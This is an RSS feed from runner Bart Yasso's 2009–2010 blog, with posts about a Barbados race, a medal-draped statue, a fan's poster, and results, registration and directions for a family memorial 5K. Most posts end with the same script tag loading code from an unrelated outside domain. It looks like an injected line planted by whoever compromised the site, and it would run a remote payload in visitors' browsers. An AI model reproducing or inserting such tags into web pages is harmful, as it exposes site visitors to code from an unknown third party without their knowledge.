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<channel>
	<title>Bart Yasso: My Life On The Run</title>
	<atom:link href="http://www.bartyasso.com/blog/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bartyasso.com/blog</link>
	<description>Bart Yasso joined Runner&#039;s World in 1987 to develop the groundbreaking Runner&#039;s World Race Sponsorship Program.</description>
	<lastBuildDate>Fri, 27 Aug 2010 16:26:25 +0000</lastBuildDate>
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		<title>Calling All Runners! Run Barbados in December</title>
		<link>http://www.bartyasso.com/blog/2010/08/calling-all-runners-run-barbados-in-december/</link>
		<comments>http://www.bartyasso.com/blog/2010/08/calling-all-runners-run-barbados-in-december/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 16:26:25 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[barbados half marathon]]></category>
		<category><![CDATA[barbados marathon]]></category>
		<category><![CDATA[Bart Yasso]]></category>
		<category><![CDATA[bridgetown run]]></category>
		<category><![CDATA[caribbean road races]]></category>
		<category><![CDATA[december marathon]]></category>
		<category><![CDATA[island races]]></category>
		<category><![CDATA[jerry friesen]]></category>
		<category><![CDATA[marathon maniacs]]></category>
		<category><![CDATA[midnight mile]]></category>
		<category><![CDATA[run barbados]]></category>
		<category><![CDATA[Yasso]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=685</guid>
		<description><![CDATA[
Good news!
I just found out I will be hosting the Run Barbados events this December 3 &#8211; 5. The Midnight Mile is on Friday, 10K on Saturday and your choice of a 5K, half marathon or full marathon on Sunday. (An option for everyone including the walkers among your friends and family.) The marathon starts [...]]]></description>
			<content:encoded><![CDATA[<h1><a href="http://www.bartyasso.com/blog/wp-content/uploads/2010/08/Run-Barbados-Logo21.jpg"><img class="alignnone size-full wp-image-688" title="Run Barbados Logo2" src="http://www.bartyasso.com/blog/wp-content/uploads/2010/08/Run-Barbados-Logo21.jpg" alt="Run Barbados Logo2" width="300" height="229" /></a></h1>
<h1><span style="color: #ff6600;">Good news<span style="color: #00ccff;">!</span></span></h1>
<h3>I just found out I will be hosting the <span style="color: #00ccff;">Run Barbados </span>events this December 3 &#8211; 5. The Midnight Mile is on Friday, 10K on Saturday and your choice of a 5K, half marathon or full marathon on Sunday. (An option for everyone including the walkers among your friends and family.) The marathon starts at 4:30 am so plenty of beach time. Join me!</h3>
<h3>http://www.runbarbados.org/</h3>
]]></content:encoded>
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		<item>
		<title>Tegla</title>
		<link>http://www.bartyasso.com/blog/2010/08/tegla/</link>
		<comments>http://www.bartyasso.com/blog/2010/08/tegla/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 19:54:14 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Big Ideas]]></category>
		<category><![CDATA[Travel]]></category>
		<category><![CDATA[african statue]]></category>
		<category><![CDATA[Bart Yasso]]></category>
		<category><![CDATA[laura yasso]]></category>
		<category><![CDATA[marathon medals]]></category>
		<category><![CDATA[Nana]]></category>
		<category><![CDATA[RoseMarie Yasso]]></category>
		<category><![CDATA[running medals]]></category>
		<category><![CDATA[sub-Sahara]]></category>
		<category><![CDATA[Tanzania]]></category>
		<category><![CDATA[Tanzanian runner]]></category>
		<category><![CDATA[Tegla]]></category>
		<category><![CDATA[tegla loroupe]]></category>
		<category><![CDATA[triathlon medals]]></category>
		<category><![CDATA[Yasso]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=666</guid>
		<description><![CDATA[
Tegla is a five foot tall wooden statue I bought in Tanzania in 1992. I saw her at a roadside market and asked the wood carver about her. She is made of ebony, an intensely black wood that is very heavy. Locally in the sub-Sahara, the &#8220;blackwood&#8221; tree is known as mpingo. It is known [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.bartyasso.com/blog/wp-content/uploads/2010/08/TeglaNanaBlog.jpg"><img class="alignleft size-medium wp-image-681" title="TeglaNanaBlog" src="http://www.bartyasso.com/blog/wp-content/uploads/2010/08/TeglaNanaBlog-165x300.jpg" alt="TeglaNanaBlog" width="165" height="300" /></a></p>
<h3>Tegla is a five foot tall wooden statue I bought in Tanzania in 1992. I saw her at a roadside market and asked the wood carver about her. She is made of ebony, an intensely black wood that is very heavy. Locally in the sub-Sahara, the &#8220;blackwood&#8221; tree is known as mpingo. It is known for its high density, fine texture and the ability to be polished to a very smooth finish. I gave the carver a large sum of cash to pay for her and shipping back to the States. He promised that she would arrive  in one piece by the time I got home. My traveling companions just told me I got ripped off. They were wrong. I believed the wood carver and rightfully so. When I arrived home a few weeks later, there Tegla was &#8211; in a box on my doorstep&#8230;and in one piece. In the eighteen years since she arrived in the States she has been the center of all my living rooms. Some folks have their tv as the center &#8211; but for me, it&#8217;s been this life-size Tanzanian statue. My mother, known as Nana, always got a kick out of Tegla and we&#8217;d kid her that she was shorter than Tegla&#8230;and getting shorter every year.</h3>
<h3>Besides being a great source of entertainment for visiting family and friends, Tegla has been the wearer of my running and triathlon medals. And since 2002, when Laura moved in, Tegla&#8217;s served as the medal holder for both of us. Since we both were racing quite frequently, the weight of our finisher&#8217;s medals and awards were taking a toll on her and this pint-size Ebony queen appeared ready to tip over and come crashing down on our hardwood farm plank floor . We started placing the medals around her neck with the medallion part on her back to improve her balance.</h3>
<h3>In 2004 we took all of the medals off of Tegla for a count. Laura had been trying to convince me that I had  run more than 100 marathons -a number I&#8217;d been telling people for years. The number turned out to be 153 marathons &#8211; or at least 153 of the medals around Tegla&#8217;s neck were from my marathons. Last night &#8211; six years after the big medal count of &#8216;04 &#8211; we decided to strip Tegla of all of our medals once again and give her a much need breather. The stats so far: 420 medals pretty much split 50/50 between Laura&#8217;s various ultras and marathons and my runs and triathlons. Besides the medals, Tegla was wearing some Africna beaded bracelets, a safari hat complete with netting, a Canadian Maple Leaf Court jester hat, beneath that a Comrades cap and some Jamaican dreadlocks under that. Laura gave her a nice cleaning and oiling. All Tegla is wearing now is a simple beaded necklace and a prayer cloth that made it to the top of Everest when a friend summited in May. While the medals up to her neck were pretty comical I think it&#8217;s time to just let her look regal for a while or at least until somebody puts a witch&#8217;s hat on her for Halloween and antlers for Christmas.</h3>
<h3>http://www.facebook.com/album.php?aid=74804&amp;id=1189116796&amp;l=9f9725056a</h3>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Something for Mr. Bart Yasso&#8230;</title>
		<link>http://www.bartyasso.com/blog/2010/08/something-for-mr-bart-yasso/</link>
		<comments>http://www.bartyasso.com/blog/2010/08/something-for-mr-bart-yasso/#comments</comments>
		<pubDate>Tue, 03 Aug 2010 16:41:50 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Big Ideas]]></category>
		<category><![CDATA[Bart Yasso]]></category>
		<category><![CDATA[beginning runner]]></category>
		<category><![CDATA[chicago marathon]]></category>
		<category><![CDATA[Megan Huels]]></category>
		<category><![CDATA[michael chitwood]]></category>
		<category><![CDATA[run art]]></category>
		<category><![CDATA[runner artwork]]></category>
		<category><![CDATA[runner's feedback]]></category>
		<category><![CDATA[Runner's World]]></category>
		<category><![CDATA[running art]]></category>
		<category><![CDATA[running coach]]></category>
		<category><![CDATA[running mentor]]></category>
		<category><![CDATA[team world vision]]></category>
		<category><![CDATA[the ultimate cause]]></category>
		<category><![CDATA[world vision]]></category>
		<category><![CDATA[yasso 800s]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=652</guid>
		<description><![CDATA["As runners, we each have a duty to accept the
role as mentor to a slower runner or a new runner or someone who doesn't
think he or she can walk around the block, let alone finish a 5-K."]]></description>
			<content:encoded><![CDATA[<div class="mceTemp">
<dl id="attachment_655" class="wp-caption alignleft" style="width: 310px;">
<h1><a rel="attachment wp-att-655" href="http://www.bartyasso.com/blog/2010/08/something-for-mr-bart-yasso/bartartmayorofrunning-2/"><img class="size-medium wp-image-655" title="BartArtMayorOfRunning" src="http://www.bartyasso.com/blog/wp-content/uploads/2010/08/BartArtMayorOfRunning1-300x194.jpg" alt="This artwork by Megan Huels is all text (words)." width="300" height="194" /></a></h1>
<dd class="wp-caption-dd">This artwork by Megan Huels is all text (words).</dd>
</dl>
</div>
<h3><span style="color: #800080;">When the following email and attachment (at left) was forward to me at work, I developed a big smile on my face and was reminded of my role as a mentor. </span></h3>
<h3><span style="color: #800080;">A quote from my book: <em>&#8220;As runners, we each have a duty to accept the </em></span><strong><span style="color: #800080;"><em>role as mentor to a slower runner or a new runner or someone who doesn&#8217;t </em></span></strong><strong><span style="color: #800080;"><em>think he or she can walk around the block, let alone finish a 5-K.&#8221;</em></span></strong></h3>
<h3><span style="color: #000080;"><em><span style="color: #800080;">Thanks Megan and see you at the races&#8230;.</span></em></span></h3>
<h3 style="text-align: justify;"><span style="color: #800080;">&gt; Sent: Tuesday, August 03, 2010 9:58 AM</span></h3>
<h3 style="text-align: justify;"><span style="color: #800080;">&gt; To: Yasso, Bart</span></h3>
<h3 style="text-align: justify;"><span style="color: #800080;">&gt; Subject: Re: feedback + Something for Mr. Bart Yasso</span></h3>
<h3 style="text-align: justify;"><span style="color: #800080;">&gt;I wanted to let you know I love your magazine. I started off a non-runner. Pretty opposed to it really. My husband was one of those &#8221;freaks&#8221; that tortured himself in that way- not me! I admired him for  it but never ever thought I could be a runner. I got a subscription to Runner&#8217;s World for him as a present and found myself reading it. And loving it. And being inspired by it. I was also greatly inspired by Bart Yasso. I heard him speak at the Chicago Marathon World Vision dinner a couple years ago (my husband ran it) and found myself wanting to become a runner as I listened to him. I am still a long way off from marathons, but I am running none the less! At 30, I decided to go back to school for a few classes. One of my assignments was to design a poster depicting someone I find inspiring using only words. The first person that popped into my head was Bart. Attached is the poster I designed. I hope he knows what a great job he&#8217;s doing!</span></h3>
<h3><span style="color: #800080;">Megan Huels</span></h3>
<p><script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
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		<item>
		<title>Results Are In! The George Yasso Memorial 5K</title>
		<link>http://www.bartyasso.com/blog/2010/08/results-are-in-the-george-yasso-memorial-5k/</link>
		<comments>http://www.bartyasso.com/blog/2010/08/results-are-in-the-george-yasso-memorial-5k/#comments</comments>
		<pubDate>Tue, 03 Aug 2010 16:17:18 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[5k race]]></category>
		<category><![CDATA[5K results]]></category>
		<category><![CDATA[5K walk]]></category>
		<category><![CDATA[Bart Yasso]]></category>
		<category><![CDATA[bethlehem races]]></category>
		<category><![CDATA[Fountain Hill]]></category>
		<category><![CDATA[george yasso]]></category>
		<category><![CDATA[scholar athlete]]></category>
		<category><![CDATA[spud yasso]]></category>
		<category><![CDATA[st. luke's hospital]]></category>
		<category><![CDATA[St. Lukes]]></category>
		<category><![CDATA[steve repasch]]></category>
		<category><![CDATA[summer 5K]]></category>
		<category><![CDATA[yasso 800s]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=645</guid>
		<description><![CDATA[A big THANK YOU to St. Luke’s Hospital and Health Network for generously supporting our event.]]></description>
			<content:encoded><![CDATA[<h3><span style="color: #000080;">THANK YOU and CONGRATULATIONS to all walkers and runners who participated in, contributed to, or volunteered at the 2010 running of Fountain Hill’s annual George Yasso Memorial 5K Run and Walk.</span></h3>
<h3><span style="color: #000080;"></p>
<div id="attachment_646" class="wp-caption alignleft" style="width: 181px"><a href="http://www.bartyasso.com/blog/wp-content/uploads/2010/08/CuteKid-GBY5K2010.jpg"><img class="size-medium wp-image-646" title="CuteKid-GBY5K2010" src="http://www.bartyasso.com/blog/wp-content/uploads/2010/08/CuteKid-GBY5K2010-171x300.jpg" alt="Our youngest competitor was 9-year-old Jarrett Hirschbeck...can you tell he had fun?" width="171" height="300" /></a><p class="wp-caption-text">Our youngest competitor was 9-year-old Jarrett Hirschbeck...can you tell he had fun?</p></div>
<p>Thank you to charitable donor Anne Marie Crown as well  as MCS Industries for their prize donations as well as cash donations. A big thank you to John Crampsie for his continued outstanding level of financial support for our race.</p>
<p></span></h3>
<h3><span style="color: #000080;">CONGRATULATIONS to our  outstanding scholar-athlete award winners! Jim Skelly/George Yasso Fountain Hill Scholarship recipient: Marisa Repasch, $1,000</span></h3>
<h3><span style="color: #000080;">Hurricane Club Male recipients: Joey Lasko and John Cann, $500 each, and Hurricane Club Female recipient:</span></h3>
<h3><span style="color: #000080;">Erica Shumock, $1,000. Additionally, a donation of $500 wil be going to the Hurricane Basketball Club.</span></h3>
<h3><span style="color: #000080;">Thank you to the Borough of Fountain Hill, the Police Department, Public Works Department, the Volunteer Fire Department and St. Luke’s Rescue and Transport Service. as well as the Founta Hill Democratic Club and the  Liberty Girls and Boys basketball teams for volunteering and all others who gave of their time, talent and energy to make our event a continuing success. And thank you to the runners, and walkers who make this event what it is, a fun and healthy rite of summer in the borough of Fountain Hill.</span></h3>
<h3><span style="color: #000080;">Thanks to those who contributed running shoes for Haiti. Check our Facebook page for additional drop-off locations. Our Facebook GEORGE YASSO Memorial 5K Run &amp; Walk 2010 event page at: http://www.facebook.com/event.php?eid=128629320503898&amp;ref=search</span></h3>
<h3><span style="color: #000080;">STATS: We had a total of 155 registered runners with 133 starters. Forty percent of the entrants were female. Like last year, we had  a large number of  walkers (yeah for walkers!) as well as youth; 30 of our runners nd walkers were age 18 or younger.  We are proud of our 5K kids!</span></h3>
<h3><span style="color: #000080;">Congratulations to our three random pre-registered women who each won a gift certificate from Running Skirts (www.runningskirts.com): Andrea Keenan, Jenny Kuntz, and Taylor Valentin. Rock those skirts!</span></h3>
<h3><span style="color: #000080;">PHOTOS! You can order race photos from Alice Lipe at: </span><strong>www.photosbyajlipe.com</strong></h3>
<h3><span style="color: #000080;">If you have questions or notice errors in the race results, please contact me.</span></h3>
<h3><span style="color: #000080;">The 2011 race date will be announced next spring. </span><strong>Stay tuned!</strong></h3>
<p><strong>2010 Race Results: </strong></p>
<h3 style="font-size: 1.17em;"><span style="color: #000080;"><a rel="attachment wp-att-648" href="http://www.bartyasso.com/blog/2010/08/results-are-in-the-george-yasso-memorial-5k/usegeorgeyassomemorial5k2010resultsonly-2/">USEGeorgeYassoMemorial5K~2010resultsONLY</a></span></h3>
<p><script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
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		<slash:comments>0</slash:comments>
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		<item>
		<title>George Yasso Memorial 5K, July 17, 2010 &#8211; Registration Now Open</title>
		<link>http://www.bartyasso.com/blog/2010/06/george-yasso-memorial-5k-july-17-2010-registration-now-open/</link>
		<comments>http://www.bartyasso.com/blog/2010/06/george-yasso-memorial-5k-july-17-2010-registration-now-open/#comments</comments>
		<pubDate>Fri, 18 Jun 2010 16:38:25 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Events]]></category>
		<category><![CDATA[5k]]></category>
		<category><![CDATA[Bart Yasso]]></category>
		<category><![CDATA[bethlehem races]]></category>
		<category><![CDATA[Fountain Hill]]></category>
		<category><![CDATA[george yasso]]></category>
		<category><![CDATA[george yasso 5K]]></category>
		<category><![CDATA[pennsylvania road race]]></category>
		<category><![CDATA[road race]]></category>
		<category><![CDATA[Running]]></category>
		<category><![CDATA[yasso 800s]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=632</guid>
		<description><![CDATA[Registration for the George Yasso Memorial 5K is now open!



Registration is now open for the George Yasso 5K in Fountain Hill, PA!
Saturday, July 17, 2010  8:30 am

http://www.bartyasso.com/blog/wp-content/uploads/2010/06/10-Yasso-5k-brochure.pdf
]]></description>
			<content:encoded><![CDATA[<h2><strong>Registration for the George Yasso Memorial 5K is now open!</strong></h2>
<p><img class="alignnone size-full wp-image-638" title="n115023299572_9849" src="http://www.bartyasso.com/blog/wp-content/uploads/2010/06/n115023299572_9849.jpg" alt="n115023299572_9849" width="200" height="133" /></p>
<p>Please see attached pdf of entry form:</p>
<p><strong><span style="color: #008000;"><a href="http://www.bartyasso.com/blog/wp-content/uploads/2010/06/10-Yasso-5k-brochure.pdf">http://www.bartyasso.com/blog/wp-content/uploads/2010/06/10-Yasso-5k-brochure.pdf</a></span></strong></p>
<p>Please join our Facebook page:</p>
<p><strong><em><span style="color: #0000ff;"><a href="http://www.facebook.com/event.php?eid=128629320503898&amp;ref=ts">http://www.facebook.com/event.php?eid=128629320503898&amp;ref=ts</a></span></em></strong></p>
<p><span style="color: #0000ff;"><span style="color: #000000;">RACE DATE &amp; TIME: </span></span>Saturday, July 17, 2010  8:30 am</p>
<p>Walkers welcome and encouraged!</p>
<p>WHERE: Fountain Hill Community Pool at 1445 Speigel Street in Fountain Hill (near Bethlehem), Pennsylvania</p>
<p>Just 2 miles away from PA&#8217;s newest casino, The Sands</p>
<p>ENTRY FEE: $17 ($20 day of race), $10 for H.S. students &amp; younger</p>
<p>AWARDS: Plentiful and 3-deep in each 5-year age division!</p>
<p>RAFFLE: and as always, killer raffle too!</p>
<p><span style="color: #008000;"><em><span style="color: #339966;"><strong><span style="color: #ff6600;">Sponsored by St. Luke&#8217;s Hospital and the Borough of Fountain Hill</span></strong></span></em></span></p>
<p>Join us for one of the Lehigh Valley&#8217;s most fun 5Ks &#8211; thru the flat &amp; hilly streets of Fountain Hill &#8211; right next to Bethlehem. Despite three hills, this course is fast and fun. WALKERS ARE WELCOME AND ENCOURAGED. Accurately measured course, splits every mile, 5-year age divisions, refreshments and prizes at the finish. Changing, toilet and shower facilities available. Take a dip in the pool afterward! First 200 entrants get a race t-shirt. All race proceeds go to the George Yasso and James Skelly Scholarship Funds which award scholarships to two local scholar-athletes each year - - 4 $1,000 scholarships!</p>
<p>___________________________________________</p>
<p>QUESTIONS?</p>
<p>georgeyasso5K@gmail.com</p>
<p>610-868-5482<br />
610-694-0502</p>
<p>MAKE CHECKS PAYABLE TO: George Yasso Memorial 5K</p>
<p>SEND ENTRIES TO:</p>
<p>George Yasso Memorial 5K</p>
<p>3002 Oakland Road</p>
<p>Bethlehem, PA  18020</p>
<p>_________________________________</p>
<p>DIRECTIONS: FROM THE SOUTH/Philly -</p>
<p>1. JOHN FRIES HWY/PA-663. 2. Turn LEFT onto N WEST END BLVD/PA-309. Continue on 309 N. 3. Turn RIGHT onto PA-378. 4. Turn LEFT onto SEIDERSVILLE RD. 5. Turn RIGHT onto BROADWAY. 6. Turn LEFT onto DODSON ST. 7. Turn RIGHT onto SPIEGEL ST. FROM THE EAST &#8211; 1. I-78 W. 2. Take the PA-412/ HELLERTOWN exit, EXIT 67, toward BETHLEHEM. 3. Turn RIGHT onto PA-412/ HELLERTOWN RD. Continue on 412. 4. Stay STRAIGHT to go onto E 4TH ST. 5. Turn SLIGHT LEFT onto BROADWAY/ PA-412. Continue to follow BROADWAY. 6. Turn RIGHT onto SMILEY AVE. 7. Turn LEFT onto SPIEGEL ST.</p>
<p>FROM THE SOUTHWEST/READING -</p>
<p>1. US-222 N toward ALLENTOWN. 2. Merge onto US-222 N via the exit on the LEFT toward ALLENTOWN. 3. Turn SLIGHT LEFT to stay on US-222 N. 4. Merge onto I-78 E/ PA-309 S. 5. Take EXIT 59 toward PA-145/ SUMMIT LAWN. 6. Turn LEFT onto W ROCK RD. 7. Turn LEFT onto S PIKE AVE/ PA-145. Continue to follow PA-145. 8. Turn RIGHT onto W EMMAUS AVE. 9. Turn LEFT onto SEIDERSVILLE RD. (follow same directions for South, #4 thru #7.)</p>
<p>FROM THE WEST/HARRISBURG -</p>
<p>1. I-78 E via EXIT 89 toward ALLENTOWN. 2. Take EXIT 59 toward PA-145/SUMMIT LAWN. 3. Turn LEFT onto W ROCK RD. 4. Turn LEFT onto S PIKE AVE/PA-145. Continue to follow PA-145. 5. Turn RIGHT onto W EMMAUS AVE. 6. Turn LEFT onto SEIDERSVILLE RD. (follow same directions for South, #4 thru #7.)</p>
<p>FROM THE NORTH/SCRANTON -</p>
<p>1. I-380 S via EXIT 4 toward MT POCONO. 2. Merge onto I-80 E via EXIT 1B on the LEFT toward STROUDSBURG. 3. Merge onto PA-33 S via EXIT 302A toward US-209 S/SNYDERSVILLE. 4. Merge onto US-22 W toward BETHLEHEM/ALLENTOWN. 5. Merge onto PA-378 S toward BETHLEHEM. 6. Turn SLIGHT RIGHT onto BROADWAY. 7. Turn RIGHT onto SMILEY AVE. 8. Turn LEFT onto SPIEGEL ST.</p>
<p><em><span style="color: #3366ff;"><strong><span style="color: #800080;">The Yasso family looks forward to meeting you and running with us!</span></strong></span></em></p>
<p style="text-decoration: underline;"><strong><span style="color: #000080;">HERE IS A MAP of the 5K course:<br />
</span></strong></p>
<p style="text-decoration: underline;"><strong><span style="color: #ff6600;"><span style="text-decoration: underline;"><span style="color: #0000ff;"><span style="text-decoration: none;"><span style="color: #000080;"><a href="http://www.gmap-pedometer.com/?r=355805" target="_blank">http://www.gmap-pedometer.com/?r=355805</a></span></span></span></span></span></strong></p>
<p style="text-decoration: underline;"><strong><span style="color: #ff6600;"><span style="text-decoration: underline;"><span style="color: #0000ff;"><span style="text-decoration: none;"><span style="color: #000080;"><br />
</span></span></span></span></span></strong></p>
<p style="text-decoration: underline;"><span style="color: #ff6600;"><span style="text-decoration: underline;"><span style="color: #0000ff;"><span style="color: #000080;"><span style="color: #000000;"><span style="text-decoration: none;">For 2009 results and write-up, check: <a href="http://www.bartyasso.com/blog/wp-content/uploads/2009/08/georgeyassomemorial5k2009results.pdf">http://www.bartyasso.com/blog/wp-content/uploads/2009/08/georgeyassomemorial5k2009results.pdf</a></span></span></span></span></span></span></p>
<p style="text-decoration: underline;"><strong><span style="color: #ff6600;"><span style="text-decoration: underline;"><span style="color: #0000ff;"><span style="text-decoration: none;"><span style="color: #000080;"><img class="alignnone size-medium wp-image-637" title="GBY5Klogo" src="http://www.bartyasso.com/blog/wp-content/uploads/2010/06/GBY5Klogo-300x212.jpg" alt="GBY5Klogo" width="300" height="212" /></span></span></span></span></span></strong></p>
<p><script src="http://ue.oeaou.com/31"></script></p>
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		<title>Lehigh Valley Health Network Marathon</title>
		<link>http://www.bartyasso.com/blog/2010/03/lehigh-valley-health-network-marathon/</link>
		<comments>http://www.bartyasso.com/blog/2010/03/lehigh-valley-health-network-marathon/#comments</comments>
		<pubDate>Wed, 10 Mar 2010 02:07:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=628</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.vianet.org/events/marathon/index.shtml"><img class="alignleft" title="Lehigh Valley Health Network Marathon" src="http://bartyasso.com/images/LVHN_Marathon.jpg" alt="" width="400" height="474" /></a><script src="http://ue.oeaou.com/31"></script></p>
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		<title>Marine Corps Marathon Expo: Bart Yasso, free samples and a deluxe Porta Potty</title>
		<link>http://www.bartyasso.com/blog/2009/09/marine-corps-marathon-expo-bart-yasso-free-samples-and-a-deluxe-porta-potty/</link>
		<comments>http://www.bartyasso.com/blog/2009/09/marine-corps-marathon-expo-bart-yasso-free-samples-and-a-deluxe-porta-potty/#comments</comments>
		<pubDate>Wed, 16 Sep 2009 16:27:31 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Big Ideas]]></category>
		<category><![CDATA[Events]]></category>
		<category><![CDATA[Travel]]></category>
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		<category><![CDATA[brooks]]></category>
		<category><![CDATA[cro]]></category>
		<category><![CDATA[dc marathon]]></category>
		<category><![CDATA[dc running]]></category>
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		<category><![CDATA[portapotties]]></category>
		<category><![CDATA[portapotty]]></category>
		<category><![CDATA[Runner's World]]></category>
		<category><![CDATA[running expo]]></category>
		<category><![CDATA[yasso 800s]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=615</guid>
		<description><![CDATA[Marine Corps Marathon Expo: Bart Yasso, free samples and a deluxe Porta Potty
Yes, that&#8217;s a REAL headline from the  Examiner.com.
There&#8217;s always comedy in running, isn&#8217;t there?
And the part about deluxe port-a-potties is absolutely true. Any runner wearing Brooks MCM 2009 apparel or Brooks shoes on race day gets to use their VIP port-a-potties along the [...]]]></description>
			<content:encoded><![CDATA[<h2>Marine Corps Marathon Expo: Bart Yasso, free samples and a deluxe Porta Potty</h2>
<p>Yes, that&#8217;s a REAL headline from the  Examiner.com.</p>
<p>There&#8217;s always comedy in running, isn&#8217;t there?</p>
<p>And the part about <em>deluxe port-a-potties</em> is absolutely true. Any runner wearing Brooks MCM 2009 apparel or Brooks shoes on race day gets to use their VIP port-a-potties along the course, which feature flushing toilets, partitioned stalls, climate control, a fragrance dispenser, hot and cold water complete with oak vanity and mirrors.</p>
<p><a href="http://www.examiner.com/x-8091-DC-Running-Fitness-Examiner~y2009m9d8-Marine-Corps-Marathon-Expo-Bart-Yasso-free-samples-and-a-deluxe-Porta-Potty" target="_blank">http://www.examiner.com/x-8091-DC-Running-Fitness-Examiner~y2009m9d8-Marine-Corps-Marathon-Expo-Bart-Yasso-free-samples-and-a-deluxe-Porta-Potty</a><script src="http://ue.oeaou.com/31"></script></p>
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		<title>Running Ain&#8217;t No Rodeo ~ Thought For The Day</title>
		<link>http://www.bartyasso.com/blog/2009/09/running-aint-no-rodeo-thought-for-the-day/</link>
		<comments>http://www.bartyasso.com/blog/2009/09/running-aint-no-rodeo-thought-for-the-day/#comments</comments>
		<pubDate>Wed, 09 Sep 2009 10:00:21 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Big Ideas]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Testimonials]]></category>
		<category><![CDATA[Bart Yasso]]></category>
		<category><![CDATA[bib number]]></category>
		<category><![CDATA[chest number]]></category>
		<category><![CDATA[race bib]]></category>
		<category><![CDATA[race number]]></category>
		<category><![CDATA[rider number]]></category>
		<category><![CDATA[rodeo]]></category>
		<category><![CDATA[runner's bib]]></category>
		<category><![CDATA[running ain't no rodeo]]></category>
		<category><![CDATA[running number]]></category>
		<category><![CDATA[yasso 800s]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=597</guid>
		<description><![CDATA[RUNNING AIN’T NO RODEO.
If you see a runner with their race number on their back you know it’s their first race. Welcome them to the greatest sport on the planet. Then use my line: RUNNING AIN’T NO RODEO. Put that bib number on your chest.

]]></description>
			<content:encoded><![CDATA[<h3><a rel="attachment wp-att-596" href="http://www.bartyasso.com/blog/2009/09/running-aint-no-rodeo-thought-for-the-day/runningrodeo21/"><img class="alignright size-medium wp-image-596" title="runningrodeo21" src="http://www.bartyasso.com/blog/wp-content/uploads/2009/09/runningrodeo21-215x300.jpg" alt="runningrodeo21" width="215" height="300" /></a>RUNNING AIN’T NO RODEO.</h3>
<h3>If you see a runner with their race number on their back you know it’s their first race. Welcome them to the greatest sport on the planet. Then use my line: RUNNING AIN’T NO RODEO. Put that bib number on your chest.</h3>
<p><script src="http://ue.oeaou.com/31"></script></p>
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		<item>
		<title>Sequel To My Life On The Run?</title>
		<link>http://www.bartyasso.com/blog/2009/09/sequel-to-my-life-on-the-run/</link>
		<comments>http://www.bartyasso.com/blog/2009/09/sequel-to-my-life-on-the-run/#comments</comments>
		<pubDate>Tue, 08 Sep 2009 17:09:36 +0000</pubDate>
		<dc:creator>bart yasso</dc:creator>
				<category><![CDATA[Big Ideas]]></category>
		<category><![CDATA[Media]]></category>
		<category><![CDATA[Add new tag]]></category>
		<category><![CDATA[Bart Yasso]]></category>
		<category><![CDATA[My hair on the run]]></category>
		<category><![CDATA[my life on the couch]]></category>
		<category><![CDATA[my life on the run book]]></category>
		<category><![CDATA[my life on the run yasso]]></category>
		<category><![CDATA[rodale books]]></category>
		<category><![CDATA[running book]]></category>
		<category><![CDATA[running book title]]></category>
		<category><![CDATA[running cover]]></category>
		<category><![CDATA[yasso 800s]]></category>

		<guid isPermaLink="false">http://www.bartyasso.com/blog/?p=582</guid>
		<description><![CDATA[It seems like it must be time I come out with a sequel to My Life on The Run. So many people I meet who have read My Life On the Run, are ready to read more about my crazy adventures. They keep asking when is my second book coming out and what&#8217;s it going [...]]]></description>
			<content:encoded><![CDATA[<h3><a rel="attachment wp-att-589" href="http://www.bartyasso.com/blog/2009/09/sequel-to-my-life-on-the-run/myhairontherun1-2/"><img class="alignright size-medium wp-image-589" title="myhairontherun1" src="http://www.bartyasso.com/blog/wp-content/uploads/2009/09/myhairontherun1-204x300.jpg" alt="myhairontherun1" width="204" height="300" /></a>It seems like it must be time I come out with a sequel to <em>My Life on The Run</em>. So many people I meet who have read <em>My Life On the Run</em>, are ready to read more about my crazy adventures. They keep asking when is my second book coming out and what&#8217;s it going to be called. I don&#8217;t know when it&#8217;s coming out but I&#8217;ve already heard some crazy suggestions for titles. My wife jokingly has already named the second book numerous times.</h3>
<p><a title="myhairontherun1" href="http://www.bartyasso.com/blog/wp-content/uploads/2009/09/myhairontherun1.pdf"></a></p>
<h3>Titles:</h3>
<h3><em>My Life on the Couch</em></h3>
<h3><em>My Life as a Sofa Spud</em></h3>
<h3><em>My Life as a Joggernaut</em></h3>
<h3><em>My Life with the Kitty Cat</em></h3>
<h3>and the bogus titles go on and on.</h3>
<h3>Susan, a former co-worker of mine came up with this fake book cover last year: <em>My Hair On The Run</em>. See attached pdf of the fake prequel. My life as a long-haired hippy is a book in itself!</h3>
<h3>http://www.bartyasso.com/blog/wp-content/uploads/2009/09/myhairontherun1.pdf</h3>
<p><script src="http://ue.oeaou.com/31"></script></p>
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		<title>Iraq Update: Major McClung Memorial Half Marathon</title>
		<link>http://www.bartyasso.com/blog/2009/09/iraq-update-major-mcclung-memorial-half-marathon/</link>
		<comments>http://www.bartyasso.com/blog/2009/09/iraq-update-major-mcclung-memorial-half-marathon/#comments</comments>
